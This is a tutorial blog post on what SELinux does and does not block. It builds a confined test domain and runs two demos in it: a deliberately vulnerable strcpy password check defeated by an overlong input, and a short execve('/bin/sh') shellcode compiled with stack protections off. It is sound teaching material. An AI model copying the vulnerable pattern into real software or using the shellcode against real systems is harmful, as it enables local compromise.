SElinux is not:
- antivirus software
- firewalls
- an all-in-one security solution
But what this exactly means? Where is the beginning and ends the SELinux protection? To better answering those questions I show two examples, where SELinux is work (block) and where is not. This examples is are a buffer overflow and shellcode. But first we must build a test domain where we can test this examples.
Test domain
The test domain has a minimal privileges to run a simple process via normal system user (and SELinux user "user_u"). We will create a new TE domain as a SELinux policy module. This domain is called process_test_t and we run our two codes example - the buffer overflow and shellcode.
File prosess_test.te:
module process_test 0.1;
require {
type user_t;
attribute domain,application_domain_type,ubac_constrained_type,file_type,exec_type,entry_type,non_security_file_type,application_exec_type;
class file { execute entrypoint };
class process { transition sigchld };
}
type process_test_t,
domain,
application_domain_type,
ubac_constrained_type;
type process_test_exec_t,
file_type,
exec_type,
entry_type,
non_security_file_type,
application_exec_type;
type_transition user_t process_test_exec_t:process process_test_t;
role user_r types { process_test_exec_t process_test_t };
allow user_t process_test_t:process transition;
allow process_test_t process_test_exec_t:file entrypoint;
allow process_test_t user_t:process sigchld;
# for terminal
require {
type user_devpts_t,sshd_t;
class chr_file { read write getattr };
class fd { use };
class process { rlimitinh siginh noatsecure };
}
allow process_test_t user_devpts_t:chr_file { read write } ;
allow process_test_t sshd_t:fd { use };
allow process_test_t user_t:fd { use };
allow user_t process_test_t:process { rlimitinh siginh noatsecure } ;
# getchar()
allow process_test_t user_devpts_t:chr_file { getattr } ;
File prosess_test.fc:
/home/test1/process_test/process_test -- gen_context(system_u:object_r:process_test_exec_t,s0)
This domain is having only such rights:
root@SELinux:~# sesearch --allow -s process_test_t -d
Found 11 semantic av rules:
allow process_test_t user_devpts_t : chr_file { read write getattr } ;
allow process_test_t sshd_t : fd use ;
allow process_test_t user_t : process sigchld ;
allow process_test_t user_t : fd use ;
allow process_test_t process_test_exec_t : file entrypoint ;
allow process_test_t process_test_t : process { fork sigchld } ;
allow process_test_t process_test_t : file { ioctl read write getattr lock append open } ;
allow process_test_t process_test_t : dir { ioctl read getattr lock search open } ;
allow process_test_t process_test_t : lnk_file { ioctl read getattr lock } ;
allow process_test_t process_test_t : unix_stream_socket { ioctl read write create getattr setattr append bind connect listen accept getopt setopt shutdown } ;
allow process_test_t process_test_t : association sendto ;
So it can't do any bad things and user_u:user_r can run it. The program can run via user_u and wait to user type in a character with getchar().
Ok, now we can build the module. On root (unconfined_t) - in his home directory - create a directory mod_process and write there the two module files: process_test.te and process_test.fc. Then we can compile it:
root@SELinux:~/mod_process_test# make -f /usr/share/selinux/default/include/Makefile process_test.pp
I forget, I do this in Debian Squeeze ;) Remember, you must have install SELinux policy development package.
After build you can load this module:
# semodule -i process_test.pp
Now this command work also with you:
# sesearch --allow -s process_test_t -d
As you can see in the file context (process_test.fc) I choose the location on test code in /home/test1/process_test directory. You can choose different localizations, for test I use system user was called 'test1'. If you choose different location you must change the content in process_test.fc file.
Ok! Now I login as test1 user and create the process_test directory in his home directory:
test1@SELinux:~$ id
uid=1001(test1) gid=1001(test1) groups=1001(test1) context=user_u:user_r:user_t:s0
test1@SELinux:~$ ls -lZd process_test/
drwxr-xr-x. 2 test1 test1 user_u:object_r:user_home_t:s0 4096 Jun 25 21:29 process_test/
Now we can begin the first test.
SELinux and buffer overflow
This is a buffer overflow code. Save it into process_test.c file in process_test directory.
1 #include <stdio.h>
2 #include <string.h>
3
4 #define TEST
5
6 char *get_correct_pass ()
7 {
8 return (char*)"5pW1";
9 }
10
11 int auth ( char *pass )
12 {
13 int _auth = 0;
14 char buff[10];
15 memset( buff,0,10 );
16 strcpy( buff, pass );
17
18 if ( strcmp( buff,get_correct_pass() ) == 0 )
19 _auth = 1;
20
21 return _auth;
22 }
23
24 int main ( int argc, char * argv[] )
25 {
26 if ( auth( argv[1] ) )
27 printf ("access\n");
28 else
29 printf ("denied\n");
30 #ifdef TEST
31 getchar();
32 #endif
33 return 0;
34 }
Now I little describe this code. This program get a one parameter from line command. This parameter is a passwords. If passwords is correct the program print "access" otherwise print "denied". Correct password is defined in line number 8 ("5pW1").
In line 4 we have TEST declaration, if TEST is declared the program will be wait for a key press (line 31).
The most important function is an auth (line 11). In this function first is declared variable _auth. Second variable is a buff, is having lenght 10 characters.
Because variable buff is declared as second it is above in memory than _auth. This is the reason why overwriting the buff can write the _auth variable (line 16). Program give "access" when function auth() return true (line 26) but any value beyond 0 it's mean TRUE. So if you overwrite _auth variable in some character, each of them have diffrent code from 0.
Let's see in a debugger how overwriting it's work, but before we must compile the code:
test1@SELinux:~/process_test$ gcc -g process_test.c -o process_test
Now we check how to the hex value of "E" character, because I use this character for the test as password.
$ echo 'EEEEEEEEEE' | hexdump
0000000 4545 4545 4545 4545 4545
Now we run this program in gdb, as parameter we type this password "EEEEEEEEEE" (10x'E').
test1@SELinux:~/process_test$ gdb process_test
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/test1/process_test/process_test...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <string.h>
3
4 #define TEST
5
6 char *get_correct_pass ()
7 {
8 return (char*)"5pW1";
9 }
10
(gdb) list
11 int auth ( char *pass )
12 {
13 int _auth = 0;
14 char buff[10];
15 memset( buff,0,10 );
16 strcpy( buff, pass );
17
18 if ( strcmp( buff,get_correct_pass() ) == 0 )
19 _auth = 1;
20
(gdb) break 18
Breakpoint 1 at 0x40066b: file process_test.c, line 18.
(gdb) run EEEEEEEEEE
Starting program: /home/test1/process_test/process_test EEEEEEEEEE
Breakpoint 1, auth (pass=0x7fffffffe979 "EEEEEEEEEE") at process_test.c:18
18 if ( strcmp( buff,get_correct_pass() ) == 0 )
(gdb) x/32wx &buff - 0x1
0x7fffffffe636: 0xe9790000 0x7fffffff 0x45450000 0x45454545
0x7fffffffe646: 0x45454545 0x00000000 0xe6700000 0x7fffffff
0x7fffffffe656: 0x06b90000 0x00000040 0xe7580000 0x7fffffff
0x7fffffffe666: 0x00000000 0x00020000 0x00000000 0x00000000
0x7fffffffe676: 0xbc8d0000 0x7ffff7a9 0x00000000 0x00000000
0x7fffffffe686: 0xe7580000 0x7fffffff 0x00000000 0x00020000
0x7fffffffe696: 0x06970000 0x00000040 0x00000000 0x00000000
0x7fffffffe6a6: 0xb6fe0000 0x5e236504 0x0540ad6d 0x00000040
(gdb) x/wx &_auth
0x7fffffffe64c: 0x00000000
(gdb) quit
Breakpoint 1, auth (pass=0x7fffffffe979 "EEEEEEEEEE") at process_test.c:18
18 if ( strcmp( buff,get_correct_pass() ) == 0 )
(gdb) x/32wx &buff - 0x1
0x7fffffffe636: 0xe9790000 0x7fffffff 0x45450000 0x45454545
0x7fffffffe646: 0x45454545 0x00000000 0xe6700000 0x7fffffff
0x7fffffffe656: 0x06b90000 0x00000040 0xe7580000 0x7fffffff
0x7fffffffe666: 0x00000000 0x00020000 0x00000000 0x00000000
0x7fffffffe676: 0xbc8d0000 0x7ffff7a9 0x00000000 0x00000000
0x7fffffffe686: 0xe7580000 0x7fffffff 0x00000000 0x00020000
0x7fffffffe696: 0x06970000 0x00000040 0x00000000 0x00000000
0x7fffffffe6a6: 0xb6fe0000 0x5e236504 0x0540ad6d 0x00000040
(gdb) x/wx &_auth
0x7fffffffe64c: 0x00000000
(gdb) quit
test1@SELinux:~/process_test$ ./process_test EEEEEEEEEEbbX
access
test1@SELinux:~/process_test$
And we have an bingo. So now we know that the buffer overflow it is works. Ok, the next step is a change the context of this program.
root@SELinux:~# matchpathcon /home/test1/process_test/process_test
/home/test1/process_test/process_test system_u:object_r:process_test_exec_t:s0
root@SELinux:~# ls -lZ /home/test1/process_test/process_test
-rwxr-xr-x. 1 test1 test1 user_u:object_r:user_home_t:s0 9159 Jun 26 17:55 /home/test1/process_test/process_test
root@SELinux:~# restorecon -v /home/test1/process_test/process_test
restorecon reset /home/test1/process_test/process_test context user_u:object_r:user_home_t:s0->system_u:object_r:process_test_exec_t:s0
root@SELinux:~# ls -lZ /home/test1/process_test/process_test
-rwxr-xr-x. 1 test1 test1 system_u:object_r:process_test_exec_t:s0 9159 Jun 26 17:55 /home/test1/process_test/process_test
Now we check whether SELinux work in enforcing mode.
root@SELinux:~# getenforce
Enforcing
And the last we can run this program in DTE, and thanks getchar() function (line 31) we can see who context have program at running.
$ ./process_test EEEEEEEEEExx1
access
Don't press the any key and as root type in:
root@SELinux:~# ps -efZ |grep test1
system_u:system_r:sshd_t:s0-s0:c0.c1023 root 1084 1043 0 17:32 ? 00:00:00 sshd: test1 [priv]
system_u:system_r:sshd_t:s0-s0:c0.c1023 test1 1088 1084 0 17:32 ? 00:00:00 sshd: test1@pts/1
user_u:user_r:user_t:s0 test1 1089 1088 0 17:32 pts/1 00:00:00 -bash
user_u:user_r:process_test_t:s0 test1 1163 1089 0 21:48 pts/1 00:00:00 ./process_test EEEEEEEEEExx1
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 root 1177 1078 0 21:57 pts/0 00:00:00 grep test1
As you can see process_test run in process_test_t domain (DTE). This process is run by test1 user (user_t), but after that it's work in own domain (process_test_t) and user test1 don't have permission to e.g. kill this (own) proces. You can login as test1 user in second shell and try this:
test1@SELinux:~$ ps -A
PID TTY TIME CMD
1089 pts/1 00:00:00 bash
1185 pts/2 00:00:00 bash
1190 pts/2 00:00:00 ps
Even if you get the PID from root shell you still can't kill them:
test1@SELinux:~$ kill -s 15 1163
-bash: kill: (1163) - Permission denied
And you have such log:
# tail /var/log/audit/audit.log
...
type=AVC msg=audit(1372276812.345:10): avc: denied { signal } for pid=1185 comm="bash" scontext=user_u:user_r:user_t:s0 tcontext=user_u:user_r:process_test_t:s0 tclass=process
...
As you can see the process_test_t domain is very confined. user_t can execute them but can't do anything else - only press the key.
But wait the minute, we run this program in enforcing mode with 13 length password and buffer overflow is work even with SELinux protection. Why this possible?
The answer is in the architecture of operating system. Everything what is going during the buffer overflow technique (at running ./process_test) is going in the process space. This technique is not required interactions with the kernel.
The next examples is better explains that.
SELinux and shellcode
This is a shellcode:
char SC[] = "\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\x0c"\
"\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8\xde\xff"\
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42"\
"\x42";
int
main (int argc, char **argv)
{
int (*ret)();
ret = (int(*)())SC;
(int)(*ret)();
exit(0);
}
Description of this exploit tells that code execute system function execve(/bin/sh), but how we can check this? We must compile it and run in gdb.
Before we must save this code in shellcode.c.
test1@SELinux:~/process_test$ gcc -g shellcode.c -o shellcode
test1@SELinux:~/process_test$ gdb -q ./shellcode
Reading symbols from /home/test1/process_test/shellcode...done.
(gdb) list 1
1 char SC[] = "\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\x0c"\
2 "\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8\xde\xff"\
3 "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42"\
4 "\x42";
5
6 int
7 main (int argc, char **argv)
8 {
9 int (*ret)();
10 ret = (int(*)())SC;
(gdb) disas SC
Dump of assembler code for function SC:
0x00000000006008c0 <SC+0>: jmp 0x6008df <SC+31>
0x00000000006008c2 <SC+2>: pop %rbx
0x00000000006008c3 <SC+3>: xor %eax,%eax
0x00000000006008c5 <SC+5>: addr32 mov %eax,0x7(%ebx)
0x00000000006008c9 <SC+9>: addr32 mov %ebx,0x8(%ebx)
0x00000000006008cd <SC+13>: addr32 mov %eax,0xc(%ebx)
0x00000000006008d1 <SC+17>: xor %eax,%eax
0x00000000006008d3 <SC+19>: mov $0xb,%al
0x00000000006008d5 <SC+21>: addr32 lea 0x8(%ebx),%ecx
0x00000000006008d9 <SC+25>: addr32 lea 0xc(%ebx),%edx
0x00000000006008dd <SC+29>: int $0x80
0x00000000006008df <SC+31>: callq 0x6008c2 <SC+2>
0x00000000006008e4 <SC+36>: (bad)
0x00000000006008e5 <SC+37>: (bad)
0x00000000006008e6 <SC+38>: imul $0x414e6873,0x2f(%rsi),%ebp
0x00000000006008ed <SC+45>: rex.B
0x00000000006008ee <SC+46>: rex.B
0x00000000006008ef <SC+47>: rex.B
0x00000000006008f0 <SC+48>: rex.X
0x00000000006008f1 <SC+49>: rex.X
0x00000000006008f2 <SC+50>: rex.X
0x00000000006008f3 <SC+51>: rex.X add %al,(%rax)
End of assembler dump.
(gdb) q
This is a assembler code. In the blue I mark the code which clear EAX register and set in a 0xb hex value. 0xb in decimal number is a 11. In the red I mark the holy grail of understand when SELinux is work. In assembly language instruction 'int 0x80' is used when program wants invoke a system calls. In other words that is means the interrupt, this happens when a code flow is switch into system mode. Only then - when program interaction with the system - SELinux can control the process actions (the subject).
Below is a definitions of the system call numbers in file root/arch/x86/include/asm/unistd_32.h from kernel source. On the blue mark we have the number of execve() function.
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H
/*
* This file contains the system call numbers.
*/
#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
#define __NR_chdir 12
#define __NR_time 13
#define __NR_mknod 14
#define __NR_chmod 15
#define __NR_lchown 16
#define __NR_break 17
#define __NR_oldstat 18
#define __NR_lseek 19
#define __NR_getpid 20
The next what we do is a compile the shellcode without a process memory protections.
root@SELinux:~# rm /home/test1/process_test/process_test
...
test1@SELinux:~/process_test$ gcc -fno-stack-protector -z execstack shellcode.c -o process_test
...
restorecon reset /home/test1/process_test/process_test context user_u:object_r:user_home_t:s0->system_u:object_r:process_test_exec_t:s0
...
test1@SELinux:~/process_test$ ls -lZ process_test
total 24
-rwxr-xr-x. 1 test1 test1 system_u:object_r:process_test_exec_t:s0 6657 Jun 27 21:11 process_test
test1@SELinux:~/process_test$ ./process_test
^C
test1@SELinux:~/process_test$
And we have such logs:
root@SELinux:~# tail /var/log/audit/audit.log
...
type=AVC msg=audit(1372360361.357:69779): avc: denied { search } for pid=1221 comm="process_test" name="bin" dev=sda1 ino=562 scontext=user_u:user_r:process_test_t:s0 tcontext=system_u:object_r:bin_t:s0 tclass=dir
type=SYSCALL msg=audit(1372360361.357:69779): arch=40000003 syscall=11 per=400000 success=no exit=-13 a0=6008e4 a1=6008ec a2=6008f0 a3=7fff3d5bf1f8 items=0 ppid=1057 pid=1221 auid=4294967295 uid=1001 gid=1001 euid=1001 suid=1001 fsuid=1001 egid=1001 sgid=1001 fsgid=1001 tty=pts1 ses=4294967295 comm="process_test" exe="/home/test1/process_test/process_test" subj=user_u:user_r:process_test_t:s0 key=(null)
The process_test runs in process_test_t domain don't have permission to search the /bin directory. Even if it had this permission it don't have permission to execute a bin_t type object and many others permission required to run /bin/sh.
Summary
Summary of this two examples it show the SELinux is a kernel security mechanism that work only if the process (subject) must use of the system calls to do bad things.
Furthermore you must understand that if a process which has SELinux permission to e.g. write in to /etc/passwd will be crack with technique which work only in the process space the SELinux protections it's not stop it. SELinux check only if a particular process can call a particular system function, but not check when it do this.
So SELinux is not see a diffrent between a normal system call from proces (the orginaly code flows) and a crack call from process (an attacker changes the orginaly code flows). Of course the policy must allow this action for this process.